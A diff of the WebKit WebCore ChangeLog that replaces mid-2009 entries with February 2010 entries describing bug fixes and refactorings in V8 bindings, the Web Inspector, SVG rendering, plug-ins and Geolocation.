+        * platform/chromium/ThemeChromiumMac.mm:
+        (-[TCMVisibleView _focusRingVisibleRect]):
+        (-[TCMVisibleView _focusRingClipAncestor]):
+        (FocusIndicationFix::currentOSHasSetFocusRingStyleInBitmapBug):
+        (FocusIndicationFix::swizzleFocusView):
+        (FocusIndicationFix::ScopedFixer::ScopedFixer):
+        (FocusIndicationFix::ScopedFixer::~ScopedFixer):
+        (+[NSView TCMInterposing_focusView]):
+        (WebCore::paintCheckbox):
+        (WebCore::paintRadio):
+        (WebCore::paintButton):
 
-        [v8] check if proxy is present before invoking a handler
-        https://bugs.webkit.org/show_bug.cgi?id=27883 
+2010-02-09  Anton Muhin  <antonm@chromium.org>
 
-        Do not invoke handler function if proxy is null pointer (that would lead to access violation
-        anyway)
+        Reviewed by Nate Chapin.
 
-        * bindings/v8/custom/V8CustomEventListener.cpp:
-        (WebCore::V8EventListener::callListenerFunction):
+        [v8] Check if returned wrapper is empty before operating on it.
+        https://bugs.webkit.org/show_bug.cgi?id=34746
 
-2009-08-01  Pavel Feldman  <pfeldman@chromium.org>
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        (WebCore::toV8):
+        * bindings/v8/custom/V8HTMLDocumentCustom.cpp:
+        (WebCore::toV8):
+        * bindings/v8/custom/V8SVGDocumentCustom.cpp:
+        (WebCore::toV8):
 
-        Reviewed by Timothy Hatcher.
+2010-02-09  Mikhail Naganov  <mnaganov@chromium.org>
 
-        Web Inspector: Reimplement Elements Panel so that its
-        interaction with DOM is serialized.
+        Reviewed by Pavel Feldman.
 
-        This is a first cut wuth read support for DOM elements
-        tree as well as some limited editing. No properties, no
-        styles, no search capabilities are implemented yet.
-        Set Preferences.useDOMAgent to true in order to try it
-        out, otherwise disabled by default.
+        Continuing debugger and profiler unforking: narrow scope of JSC-specific ifdefs.
+        Also, enable JAVASCRIPT_DEBUGGER explicitly in features, it appears to be required
+        for really enabling it in V8 bindings generation.
 
-        https://bugs.webkit.org/show_bug.cgi?id=27771
+        https://bugs.webkit.org/show_bug.cgi?id=34706
 
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
+        * inspector/InjectedScriptHost.idl:
         * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::getChildNodes):
-        (WebCore::InspectorBackend::setAttribute):
-        (WebCore::InspectorBackend::removeAttribute):
-        (WebCore::InspectorBackend::setTextNodeValue):
+        (WebCore::InspectorBackend::currentCallFrame):
+        (WebCore::InspectorBackend::getProfile):
         * inspector/InspectorBackend.h:
         * inspector/InspectorBackend.idl:
         * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::windowScriptObjectAvailable):
-        (WebCore::InspectorController::setFrontendProxyObject):
-        (WebCore::InspectorController::close):
-        (WebCore::InspectorController::populateScriptObjects):
-        (WebCore::InspectorController::didCommitLoad):
+        (WebCore::InspectorController::InspectorController):
+        (WebCore::InspectorController::addProfile):
+        (WebCore::InspectorController::getProfile):
+        (WebCore::InspectorController::startUserInitiatedProfiling):
+        (WebCore::InspectorController::stopUserInitiatedProfiling):
+        (WebCore::InspectorController::enableProfiler):
+        (WebCore::InspectorController::disableProfiler):
         * inspector/InspectorController.h:
-        (WebCore::InspectorController::domAgent):
-        * inspector/InspectorDOMAgent.cpp: Added.
-        * inspector/InspectorDOMAgent.h: Added.
         * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::pausedScript):
+        (WebCore::InspectorFrontend::resumedScript):
+        (WebCore::InspectorFrontend::profilerWasEnabled):
+        (WebCore::InspectorFrontend::profilerWasDisabled):
+        (WebCore::InspectorFrontend::didGetProfile):
         * inspector/InspectorFrontend.h:
-        * inspector/front-end/Callback.js: Added.
-        * inspector/front-end/DOMAgent.js: Added.
-        * inspector/front-end/ElementsPanel.js:
-        * inspector/front-end/WebKit.qrc:
-        * inspector/front-end/inspector.html:
-        * inspector/front-end/inspector.js:
-        (WebInspector.loaded):
-
-2009-08-01  Ryosuke Niwa  <rniwa@webkit.org>
-
-        Reviewed by Adele Peterson.
-
-        isContentEditable function in htmlediting.* must be removed
-        https://bugs.webkit.org/show_bug.cgi?id=27870
-
-        This patch removes isContentEditable function in htmlediting.cpp and
-        replaces all usage by calling Node::isContentEditable or its derivatives.
-
-        * editing/AppendNodeCommand.cpp: ditto
-        (WebCore::AppendNodeCommand::AppendNodeCommand): ditto
-        * editing/IndentOutdentCommand.cpp: ditto
-        (WebCore::IndentOutdentCommand::outdentParagraph): ditto
-        * editing/InsertNodeBeforeCommand.cpp: ditto
-        (WebCore::InsertNodeBeforeCommand::InsertNodeBeforeCommand): ditto
-        * editing/htmlediting.cpp: ditto
-        (WebCore::enclosingNodeWithTag): ditto
-        (WebCore::enclosingNodeOfType): ditto
-        (WebCore::canMergeLists): ditto
-        * editing/htmlediting.h: Updated prototype
-
-2009-08-01  John Abd-El-Malek  <jam@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        Fix a message port handle always getting marked as reachable once it gets entangled.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27824
-
-        No tests since this only arises with the Chromium multi-process message port implementation
-        which isn't in this repostiory.
-
-        * bindings/v8/V8GCController.cpp:
-        (WebCore::GCEpilogueVisitor::visitDOMWrapper):
-
-2009-07-31  Yong Li  <yong.li@torchmobile.com>
-
-        Reviewed by Adam Barth.
-
-        Fix Geolocation permission problem
-        https://bugs.webkit.org/show_bug.cgi?id=26993
-
-        * page/Geolocation.cpp:
-        (WebCore::Geolocation::requestPermission):
-
-2009-07-31  Norbert Leser  <norbert.leser@nokia.com>
-
-        Reviewed by Eric Seidel.
-
-        Added project properties as needed by symbian platform
-
-        * WebCore.pro:
-
-2009-07-31  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Holger Freyther.
-
-        Fix compiler warning.
-
-        Initialize member variables in the correct order.
+        * page/Console.idl:
 
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::PluginView):
-
-2009-07-31  Jon Honeycutt  <jhoneycutt@apple.com>
-
-        Windows build fix!
-
-        Unreviewed.
+2010-02-09  Gavin Barraclough  <barraclough@apple.com>
 
-        * page/win/PageWin.cpp:
+        Rubber Stamped by Geoff Garen.
 
-2009-07-31  Jon Honeycutt  <jhoneycutt@apple.com>
+        Rename StringBuilder::release && JSStringBuilder::releaseJSString
+        to 'build()'.
 
-        Mac build fix.
-
-        Unreviewed.
-
-        * page/Page.cpp:
-        Move setCanStartPlugins() from here...
-        * page/win/PageWin.cpp:
-        (WebCore::Page::setCanStartPlugins):
-        ... to here.
-
-2009-07-29  Jon Honeycutt  <jhoneycutt@apple.com>
-
-        <rdar://problem/5698113> Safari shouldn't auto-activate plug-ins in
-        background tabs (make Win consistent with Mac)
+        * bindings/js/ScriptString.h:
+        (WebCore::ScriptString::operator+=):
 
-        https://bugs.webkit.org/show_bug.cgi?id=27855
+2010-02-09  Dan Bernstein  <mitz@apple.com>
 
         Reviewed by Anders Carlsson.
 
-        * loader/FrameLoaderClient.h:
-        (WebCore::FrameLoaderClient::dispatchDidFailToStartPlugin):
-        Declare a new function to dispatch failures to start plug-ins.
-
-        * page/Page.cpp:
-        (WebCore::Page::Page):
-        Initialize new member variable.
-        (WebCore::Page::addUnstartedPlugin):
-        Add the PluginView to the set of unstarted plug-ins.
-        (WebCore::Page::removeUnstartedPlugin):
-        Remove the PluginView from the set of unstarted plug-ins.
-        (WebCore::Page::setCanStartPlugins):
-        If we can now start plug-ins, iterate the set of unstarted plug-ins,
-        starting them. If a plug-in fails to start, dispatch a failed-to-start-
-        plug-in error. Clear the list of unstarted plug-ins.
-
-        * page/Page.h:
-        Added m_canStartPlugins to track whether we can currently start
-        plug-ins. Added m_unstartedPlugins to keep track of plug-ins in the
-        page that are waiting to be started.
-        (WebCore::Page::canStartPlugins):
-
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::start):
-        m_mimeType is now a WebCore::String, so we call .utf8(). If NPP_New()
-        fails, set m_status to reflect this; this used to be set by init(), but
-        start() will not be called by init() if we are delaying start().
-        If NPP_New() succeeds, set m_status to reflect this, and call
-        platformStart().
-        (WebCore::PluginView::startOrAddToUnstartedList):
-        If we cannot start plug-ins, add this view to the Page's list of
-        unstarted plug-ins and return true. Otherwise, call start() and return
-        the result.
-        (WebCore::PluginView::removeFromUnstartedListIfNecessary):
-        If we've been started or we don't have a Page, return early. Remove
-        ourselves from the Page's list of unstarted plug-ins.
-        (WebCore::PluginView::bindingInstance):
-        If we haven't been started yet, return 0. This matches the Mac
-        behavior.
-        (WebCore::PluginView::setParameters):
-        If we find the "plug-ins page" parameter, record it; it may be used if
-        we fail to start the plug-in.
-        (WebCore::PluginView::PluginView):
-        Initialize new members m_haveUpdatedPluginWidget. Initialize m_mimeType
-        with mimeType directly; m_mimeType is now a WebCore::String.
+        <rdar://problem/7400160> Netscape plug-ins are not instantiated on property access if there are pending stylesheets
+        https://bugs.webkit.org/show_bug.cgi?id=34776
 
-        * plugins/PluginView.h:
-        Made start() public, so Page can call it when we start unstarted
-        plug-ins. Changed m_mimeType from CString to String and added
-        m_pluginsPage; these are needed by dispatchDidFailToStartPlugin().
-        (WebCore::PluginView::pluginsPage):
-        Added for dispatchDidFailToStartPlugin().
-        (WebCore::PluginView::mimeType):
-        Ditto.
-        (WebCore::PluginView::url):
-        Ditto.
+        Tests: plugins/instance-available-before-stylesheets-loaded-object.html
+               plugins/instance-available-before-stylesheets-loaded.html
 
-        * plugins/gtk/PluginViewGtk.cpp:
-        (WebCore::PluginView::platformStart):
-        Stubbed.
-
-        * plugins/mac/PluginViewMac.cpp:
-        (WebCore::PluginView::platformStart):
-        Stubbed.
+        * html/HTMLEmbedElement.cpp:
+        (WebCore::HTMLEmbedElement::renderWidgetForJSBindings): Call
+        updateLayoutIgnorePendingStylesheets() before checking for a renderer. 
+        * html/HTMLObjectElement.cpp:
+        (WebCore::HTMLObjectElement::renderWidgetForJSBindings): Ditto.
 
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::platformStart):
-        Stubbed.
+2010-02-09  Alejandro G. Castro  <alex@igalia.com>
 
-        * plugins/win/PluginViewWin.cpp:
-        (WebCore::PluginView::updatePluginWidget):
-        Use m_haveUpdatedPluginWidget to ensure that we will call MoveWindow()
-        and SetWindowRgn() to position the plug-in and set its clip rect if an
-        earlier call to updatePluginWidget() was made before
-        setPlatformPluginWidget() was called to set the plug-in's HWND.
-        (WebCore::PluginView::~PluginView):
-        Call removeFromUnstartedListIfNecessary() to remove the plug-in from
-        the unstarted list if the plug-in is destroyed before it is started.
-        (WebCore::PluginView::init):
-        Call startOrAddtoUnstartedList to start the plug-in or, if plug-ins
-        cannot be started, to add it to the list of plug-ins waiting to be
-        started. Set m_status to indicate success; this is also set by start(),
-        but that may be delayed, and we don't want the loader to dispatch a
-        failed-to-start-plug-in error when we return from init().
-        (WebCore::PluginView::platformStart):
-        Added; code moved from init(). This is now called by start() to perform
-        any platform-specific tasks that need to take place after the plug-in
-        has started. Added a call to updatePluginWidget() to ensure we position
-        the plug-in and set its clip rect after the plug-in has started.
-        Removed the setting of m_status; start() does this before calling this
-        function (and we assert this at the head of the function).
+        Reviewed by Darin Adler.
 
-2009-07-30  Darin Adler  <darin@apple.com>
+        Problems navigating by caret in links whose text wraps onto
+        subsequent lines.
+        https://bugs.webkit.org/show_bug.cgi?id=25676
 
-        Reviewed by David Levin.
+        We should not search ahead if we are not in the last element.
 
-        Use checked casts for render tree
-        https://bugs.webkit.org/show_bug.cgi?id=23522
+        * dom/Position.cpp:
 
-        Next step: Add casts for all the RenderTable classes and use them everywhere.
+2010-02-09  Dirk Schulze  <krit@webkit.org>
 
-        Also added a few uses in places that were still using static_cast.
-        Also made some virtual member functions private.
-        Also changed RenderTable::m_tableLayout to use OwnPtr.
+        Reviewed by Nikolas Zimmermann.
 
-        * accessibility/AccessibilityTable.cpp:
-        (WebCore::AccessibilityTable::isTableExposableThroughAccessibility):
-        (WebCore::AccessibilityTable::addChildren):
-        (WebCore::AccessibilityTable::cellForColumnAndRow):
-        * accessibility/AccessibilityTableCell.cpp:
-        (WebCore::AccessibilityTableCell::parentTable):
-        (WebCore::AccessibilityTableCell::rowIndexRange):
-        (WebCore::AccessibilityTableCell::columnIndexRange):
-        (WebCore::AccessibilityTableCell::titleUIElement):
-        * accessibility/AccessibilityTableColumn.cpp:
-        (WebCore::AccessibilityTableColumn::headerObject):
-        * accessibility/AccessibilityTableRow.cpp:
-        (WebCore::AccessibilityTableRow::parentTable):
-        * editing/DeleteSelectionCommand.cpp:
-        (WebCore::DeleteSelectionCommand::removeNode):
-        * editing/TextIterator.cpp:
-        (WebCore::shouldEmitTabBeforeNode):
-        (WebCore::shouldEmitNewlinesBeforeAndAfterNode):
-        * html/HTMLTableCellElement.cpp:
-        (WebCore::HTMLTableCellElement::parseMappedAttribute):
-        * html/HTMLTableColElement.cpp:
-        (WebCore::HTMLTableColElement::parseMappedAttribute):
-        * page/Frame.cpp:
-        (WebCore::Frame::searchForLabelsAboveCell):
-        * page/mac/FrameMac.mm:
-        (WebCore::Frame::searchForNSLabelsAboveCell):
-        * rendering/AutoTableLayout.cpp:
-        (WebCore::AutoTableLayout::recalcColumn):
-        (WebCore::AutoTableLayout::fullRecalc):
-        (WebCore::shouldScaleColumns):
-        * rendering/FixedTableLayout.cpp:
-        (WebCore::FixedTableLayout::calcWidthArray):
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::calcPrefWidths):
-        * rendering/RenderBox.cpp:
-        (WebCore::RenderBox::calcPercentageHeight):
-        * rendering/RenderObject.cpp:
-        (WebCore::RenderObject::addChild):
-        (WebCore::RenderObject::containingBlock):
-        * rendering/RenderTableCell.cpp:
-        (WebCore::RenderTableCell::collapsedBottomBorder):
-        * rendering/RenderTableCol.cpp:
-        (WebCore::RenderTableCol::table):
-        * rendering/RenderTableRow.cpp:
-        (WebCore::RenderTableRow::addChild):
-        (WebCore::RenderTableRow::layout):
-        (WebCore::RenderTableRow::paint):
-        * rendering/RenderTableSection.cpp:
-        (WebCore::RenderTableSection::addChild):
-        (WebCore::RenderTableSection::layoutRows):
-        (WebCore::RenderTableSection::lowestPosition):
-        (WebCore::RenderTableSection::rightmostPosition):
-        (WebCore::RenderTableSection::leftmostPosition):
-        (WebCore::RenderTableSection::paintObject):
-        (WebCore::RenderTableSection::recalcCells):
-        * rendering/RenderTreeAsText.cpp:
-        (WebCore::operator<<):
-        (WebCore::writeTextRun):
-        Use checked casts.
+        More optimization for AffineTransform with SVG
+        https://bugs.webkit.org/show_bug.cgi?id=34774
+
+        Some optimizations to safe unnecessary summations and multiplications.
+        Optimize AffineTransform to handle an identity or translation matrix
+        more efficient.
+        Added translationRight to avoid multiplications of matrices as much as
+        possible.
+
+        No tests added, no change of functionality.   
+
+        * platform/graphics/transforms/AffineTransform.cpp:
+        (WebCore::AffineTransform::inverse):
+        (WebCore::AffineTransform::translate):
+        (WebCore::AffineTransform::translateRight):
+        * platform/graphics/transforms/AffineTransform.h:
+        * rendering/RenderForeignObject.cpp:
+        (WebCore::RenderForeignObject::translationForAttributes):
+        (WebCore::RenderForeignObject::localToParentTransform):
+        * rendering/RenderForeignObject.h:
+        * rendering/RenderSVGRoot.cpp:
+        (WebCore::RenderSVGRoot::localToBorderBoxTransform):
+        (WebCore::RenderSVGRoot::localToRepaintContainerTransform):
+        (WebCore::RenderSVGRoot::localToParentTransform):
+        * rendering/RenderSVGViewportContainer.cpp:
+        (WebCore::RenderSVGViewportContainer::localToParentTransform):
+        * rendering/SVGRootInlineBox.cpp:
+        (WebCore::applyTextLengthCorrectionToTextChunk):
 
-        * rendering/RenderTable.cpp:
-        (WebCore::RenderTable::styleDidChange): Updated to use OwnPtr.
-        (WebCore::RenderTable::addChild): Use checked cast.
-        (WebCore::RenderTable::layout): Ditto.
-        (WebCore::RenderTable::setCellWidths): Ditto.
-        (WebCore::RenderTable::paintObject): Ditto.
-        (WebCore::RenderTable::splitColumn): Ditto.
-        (WebCore::RenderTable::appendColumn): Ditto.
-        (WebCore::RenderTable::colElement): Ditto.
-        (WebCore::RenderTable::recalcSections): Ditto.
-        (WebCore::RenderTable::outerBorderBottom): Ditto.
-        (WebCore::RenderTable::outerBorderLeft): Ditto.
-        (WebCore::RenderTable::outerBorderRight): Ditto.
-        (WebCore::RenderTable::sectionAbove): Ditto.
-        (WebCore::RenderTable::sectionBelow): Ditto.
-
-        * rendering/RenderTable.h: Added checked cast. Made virtual
-        functions private. Changed m_tableLayout to be a OwnPtr.
-
-        * rendering/RenderTableCell.h: Added checked cast.
-        * rendering/RenderTableCol.h: Ditto. Made virtual functions private.
-        * rendering/RenderTableRow.h: Ditto.
-        * rendering/RenderTableSection.h: Ditto.
-
-2009-07-31  Brady Eidson  <beidson@apple.com>
+2010-02-09  Dirk Schulze  <krit@webkit.org>
 
-        Reviewed by John Sullivan.
+        Reviewed by Nikolas Zimmermann.
 
-        <rdar://problem/6973106> and https://bugs.webkit.org/show_bug.cgi?id=27896
-        Favicons are still loaded when automatic image loading is disabled.
+        SVG patterns with some scale patternTransform are not displayed correctly for small elements
+        https://bugs.webkit.org/show_bug.cgi?id=25484
 
-        People who want to avoid loading images generally want to avoid loading all images.
+        SVG Pattern size was clipped to the size of the target, if the pattern is bigger than the target. This
+        causes problems, if the patternTransform scales the pattern. This patch deletes the clipping.
 
-        Test: http/tests/misc/favicon-loads-with-images-disabled.html
+        Tests: svg/custom/pattern-excessive-malloc.svg
+               svg/custom/pattern-size-bigger-than-target-size.svg
+               svg/custom/pattern-skew-transformed.svg
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::startIconLoader): After committing the URL mapping, don't actually 
-          perform the load if images shouldn't be loading.
+        * svg/SVGPatternElement.cpp:
+        (WebCore::SVGPatternElement::buildPattern):
 
-2009-07-31  Simon Fraser  <simon.fraser@apple.com>
+2010-02-09  Darin Adler  <darin@apple.com>
 
-        Reviewed by Anders Carlsson.
-        
-        Accelerated animations stutter on pages with lots of animations and 3d transforms
-        https://bugs.webkit.org/show_bug.cgi?id=27884
-        
-        This patch changes the strategy for synchronizing painting view the view,
-        and compositing layer updates. Previously the strategy was to disable screen
-        updates between the time we updated the layer tree, and painted the view. That
-        left screen updates disabled for too long (hundreds of milliseconds) in some
-        cases, causing animation stutter.
-        
-        The new strategy is to batch up changes to the CA layer tree, and commit them
-        all at once just before painting happens (referred to as a "sync" in the code).
-        GraphicsLayerCA now keeps a bitmask of changed properties, and then migrates
-        the values stored in GraphicsLayer into the CA layer tree at commit time.
-        
-        Compositing layers are then synced in FrameView::paintContents(). However, not
-        all style/layout changes will result in painting; to deal with style changes that
-        touch only compositing properties, we set up a runloop observer that takes care
-        of comitting layer changes when no painting happens.
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::styleDidChange): Fixed typo in comment.
 
-        * WebCore.base.exp: Export FrameView::syncCompositingStateRecursive()
+2010-02-09  MORITA Hajime  <morrita@gmail.com>
 
-        * loader/EmptyClients.h: scheduleViewUpdate() renamed to syncCompositingStateRecursive()
-        * page/ChromeClient.h: scheduleViewUpdate() renamed to syncCompositingStateRecursive()
+        Reviewed by Nikolas Zimmermann.
 
-        * page/FrameView.h:
-        * page/FrameView.cpp:
-        (WebCore::FrameView::syncCompositingStateRecursive): syncCompositingState() on the
-        view and all subviews. Like layoutIfNeededRecursive(). If layout is pending, does not
-        sync and returns false, since we only want to sync when layout is done.
-        
-        (WebCore::FrameView::paintContents): syncCompositingState() before painting.
+        SVG selection text foreground colour does not respect user settings
+        https://bugs.webkit.org/show_bug.cgi?id=15997
 
-        * page/animation/KeyframeAnimation.cpp:
-        (WebCore::KeyframeAnimation::endAnimation):
-        Call animationPaused() to notify the graphics layers about animation pausing.
-        
-        * platform/graphics/FloatPoint3D.h:
-        (WebCore::operator==):
-        (WebCore::operator!=): 
-        Add missing comparison operators.
-        
-        * platform/graphics/GraphicsLayer.cpp:
-        (WebCore::GraphicsLayer::setOpacity):
-        (WebCore::GraphicsLayer::setBackgroundColor): Simple setters no longer care about animation info.
-        
-        (WebCore::GraphicsLayer::paintGraphicsLayerContents): Null-check client.
+        Add two subphases SVGTextPaintSubphaseGlyphFillSelection and
+        SVGTextPaintSubphaseGlyphStrokeSelection for painting selected
+        text on SVG. Selected texts are painted with style from
+        getCachedPseudoStyle() instead of style().
         
-        * platform/graphics/GraphicsLayer.h:
-        (WebCore::AnimationValue:):
-        (WebCore::TransformAnimationValue:):
-        (WebCore::KeyframeValueList:):
-        (WebCore::KeyframeValueList::insert):
-        Cleaned up versions of FloatValue and TransformValue, used to store information
-        about keyframes values.
-
-        (WebCore::GraphicsLayer::contentsRect):
-        (WebCore::GraphicsLayer::setContentsRect):
-        ContentsRect is now a simple setter.
-        
-        (WebCore::GraphicsLayer::addAnimation):
-        (WebCore::GraphicsLayer::removeAnimationsForProperty):
-        (WebCore::GraphicsLayer::removeAnimationsForKeyframes):
-        (WebCore::GraphicsLayer::pauseAnimation):
-        Simplified animation api.
-        
-        (WebCore::GraphicsLayer::setGeometryOrientation):
-        (WebCore::GraphicsLayer::geometryOrientation):
-        setGeometryOrientation is now just a normal member variable.
-        
-        (WebCore::GraphicsLayer::contentsOrientation): add a getter.
-        (WebCore::GraphicsLayer::syncCompositingState): Entry into the layer sync code.
-        
-        * platform/graphics/GraphicsLayerClient.h: scheduleViewUpdate() renamed to syncCompositingStateRecursive)
+        Tests: svg/text/selection-styles.xhtml
 
-        * platform/graphics/mac/GraphicsLayerCA.h:
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        Lots of cleanup and refactoring. Main points:
-        - Layer changes are all batched, and only committed to the CA layer on syncCompositingState().
-        - Bitmask is used to store which properties have changed. More efficient than before.
-        - Simpler animation interface; simple setters are no longer confounded with animations.
-        - Refactored code that creates CA animations, and stores which animations are running.
-
-        * platform/graphics/transforms/TransformOperations.h:
-        (WebCore::TransformOperations::size):
-        (WebCore::TransformOperations::at): Useful accessors for size and indexed access.
+        * rendering/SVGCharacterLayoutInfo.h:
+        (WebCore::SVGTextChunkWalker::SVGTextChunkWalker):
+        (WebCore::SVGTextChunkWalker::setupFillSelection):
+        (WebCore::SVGTextChunkWalker::setupStrokeSelection):
+        * rendering/SVGRootInlineBox.cpp:
+        (WebCore::SVGRootInlineBoxPaintWalker::mayHaveSelection):
+        (WebCore::SVGRootInlineBoxPaintWalker::chunkSetupFillSelectionCallback):
+        (WebCore::SVGRootInlineBoxPaintWalker::chunkSetupStrokeSelectionCallback):
+        (WebCore::SVGRootInlineBoxPaintWalker::activePaintServer):
+        (WebCore::SVGRootInlineBox::paint):
+        (WebCore::SVGRootInlineBox::walkTextChunks):
+        * rendering/SVGInlineTextBox.h:
+        (WebCore::):        
+        Add callback hooks and its implementation for handle new
+        subphases.
         
-        * rendering/RenderLayerBacking.h:
-        * rendering/RenderLayerBacking.cpp:
-        Renamed 'contentsLayer' to 'foregroundLayer' to avoid confusion with GraphicsLayer's
-        contentsLayer.
-        Adapt to GraphicsLayer's simpler animation API.
-        Pass animation pausing through to the graphics layers.
-        contentsBox() is no longer a callback via GraphicsLayerClient.
+        * rendering/SVGInlineTextBox.cpp:
+        (WebCore::SVGInlineTextBox::chunkSelectionStartEnd):
+        (WebCore::SVGInlineTextBox::paintCharacters):
+        Split box text into selected part and non-selected part, and use
+        separate subphases to paint them.
         
-        * rendering/RenderLayerCompositor.h:
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::setCompositingLayersNeedRebuild):
-        (WebCore::RenderLayerCompositor::scheduleSync):
-        (WebCore::RenderLayerCompositor::rebuildCompositingLayerTree):
-        scheduleViewUpdate() is no longer required. Instead, we plumb through "compositingLayerSync"
-        notifications, which travel up to WebKit and set up a runloop observer.
+        * svg/SVGFont.cpp:
+        (WebCore::SVGTextRunWalker::walk):
+        Relax ASSERT() condition to accept a part of text.
         
-2009-07-30  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by David Levin.
-
-        Guard needs //'s between #endif and ENABLE(DATAGRID)
-        https://bugs.webkit.org/show_bug.cgi?id=27862
-
-        Compiling this file causes a build break without this change.
-
-        * bindings/v8/custom/V8DataGridColumnListCustom.cpp:
+        * svg/graphics/SVGPaintServer.cpp:
+        (WebCore::applyStrokeStyleToContext):
+        (WebCore::SVGPaintServer::setup):
+        * svg/graphics/SVGPaintServer.h:
+        * svg/graphics/SVGPaintServerGradient.cpp:
+        (WebCore::SVGPaintServerGradient::setup):
+        * svg/graphics/SVGPaintServerGradient.h:
+        * svg/graphics/SVGPaintServerPattern.cpp:
+        (WebCore::SVGPaintServerPattern::setup):
+        * svg/graphics/SVGPaintServerPattern.h:
+        * svg/graphics/SVGPaintServerSolid.cpp:
+        (WebCore::SVGPaintServerSolid::setup):
+        * svg/graphics/SVGPaintServerSolid.h:
+        Change setup() signature to accept RenderStyle instead of always
+        using RenderObject::style().
+
+2010-02-09  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Dirk Schulze.
+
+        No scroll bars are displayed for standalone SVG image
+        https://bugs.webkit.org/show_bug.cgi?id=11225
+
+        Height and width defined for svg element are not honored
+        https://bugs.webkit.org/show_bug.cgi?id=24033
+
+        SVG file does not pan and has no scroll bars
+        https://bugs.webkit.org/show_bug.cgi?id=24448
+
+        Adapt to SVG 1.1 errata to change the overflow handling:
+        Replace "svg { overflow: hidden }"  by "svg:not(:root) { overflow: hidden }" to allow standalone SVG documents to contain scrolllbars.
+        Agreed by SVG WG to make this the default behaviour, already implemented by Opera & FireFox (partial support).
+
+        Add new tests in svg/overflow covering all special SVG css overflow handling rules on inner/outer svg elements.
+
+        Tests: svg/overflow/overflow-on-inner-svg-element-defaults.svg
+               svg/overflow/overflow-on-inner-svg-element.svg
+               svg/overflow/overflow-on-outermost-svg-element-defaults.svg
+               svg/overflow/overflow-on-outermost-svg-element-ignore-attribute-1.svg
+               svg/overflow/overflow-on-outermost-svg-element-ignore-attribute-2.svg
+               svg/overflow/overflow-on-outermost-svg-element-ignore-attribute-3.svg
+               svg/overflow/overflow-on-outermost-svg-element-in-xhtml-auto.xhtml
+               svg/overflow/overflow-on-outermost-svg-element-in-xhtml-defaults.xhtml
+               svg/overflow/overflow-on-outermost-svg-element-in-xhtml-hidden.xhtml
+               svg/overflow/overflow-on-outermost-svg-element-in-xhtml-scroll.xhtml
+               svg/overflow/overflow-on-outermost-svg-element-in-xhtml-visible.xhtml
+
+        * css/svg.css: Change default <svg> overflow rule to only apply to inner <svg> elements.
+        * page/FrameView.cpp: 
+        (WebCore::FrameView::layout): Only apply overflow rules for non-standalone SVG documents.
+        * rendering/RenderSVGRoot.cpp: Remove all calls to isOverflowHidden - it's always the case for the outermost SVG element, see spec + errata.
+        (WebCore::RenderSVGRoot::paint): Always clip to initial viewport size.
+        (WebCore::RenderSVGRoot::computeRectForRepaint): Ditto.
+        (WebCore::RenderSVGRoot::nodeAtPoint): Simplify.
+        * rendering/RenderSVGViewportContainer.cpp:
+        (WebCore::RenderSVGViewportContainer::applyViewportClip): Use isOverflowHidden() instead of a manual oveflow query and clip in float precision.
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::SVGRenderBase::isOverflowHidden): Simplify implementation, assure the function is not called anymore for RenderSVGRoot objects.
 
-2009-07-31  Greg Bolsinga  <bolsinga@apple.com>
+2010-02-09  Kwang Yul Seo  <skyul@company100.net>
 
         Reviewed by Eric Seidel.
 
-        Geolocation clean up when no longer updating
-        https://bugs.webkit.org/show_bug.cgi?id=27888
-
-        When Geolocation::disconnectFrame() is called, need to call 
-        Document::setUsingGeolocation(false) to mirror the true call 
-        when it is set up.
-
-        When handling an error, and there are no more listeners, call
-        GeolocationService::stopUpdating().
-
-        * page/Geolocation.cpp:
-        (WebCore::Geolocation::disconnectFrame):
-        (WebCore::Geolocation::handleError):
-
-2009-07-31  Greg Bolsinga  <bolsinga@apple.com>
+        [BREWMP] Port KURL::fileSystemPath
+        https://bugs.webkit.org/show_bug.cgi?id=34516
 
-        Reviewed by George Staikos.
+        Convert a file URL to a file path by prefixing
+        AEEFS_HOME_DIR to access files relative to the current
+        module directory in a case-sensitive manner.
 
-        Consolidate GeoLocation code to send positions and errors
-        https://bugs.webkit.org/show_bug.cgi?id=27863
-        
-        Create helper methods that will send positions and errors to either
-        one shots or watchers.
+        As IWeb "file:" engine opens files in BREW's application-relative
+        file namespace, we follow the same policy here.
 
-        * page/Geolocation.cpp:
-        (WebCore::Geolocation::sendError):
-        (WebCore::Geolocation::sendErrorToOneShots):
-        (WebCore::Geolocation::sendErrorToWatchers):
-        (WebCore::Geolocation::sendPosition):
-        (WebCore::Geolocation::sendPositionToOneShots):
-        (WebCore::Geolocation::sendPositionToWatchers):
-        * page/Geolocation.h:
-
-2009-07-31  Xan Lopez  <xlopez@igalia.com>
-
-        Roll out previous change as it might be causing some weirdness in
-        the bots.
-
-        * platform/image-decoders/bmp/BMPImageDecoder.cpp:
-        (WebCore::BMPImageDecoder::processFileHeader):
-
-2009-07-31  Xan Lopez  <xlopez@igalia.com>
+        * platform/brew/KURLBrew.cpp: Added.
+        (WebCore::KURL::fileSystemPath):
 
-        Reviewed by Mark Rowe.
+2010-02-09  Noam Rosenthal  <noam.rosenthal@nokia.com>
 
-        Fix compiler warning.
-        https://bugs.webkit.org/show_bug.cgi?id=27851
+        Reviewed by Kenneth Rohde Christiansen.
 
-        GCC does not like multi-character character constants, so use the
-        explicit numerical value of 'BM' in the enum.
+        [Qt] the above website does not render properly when in compositing mode
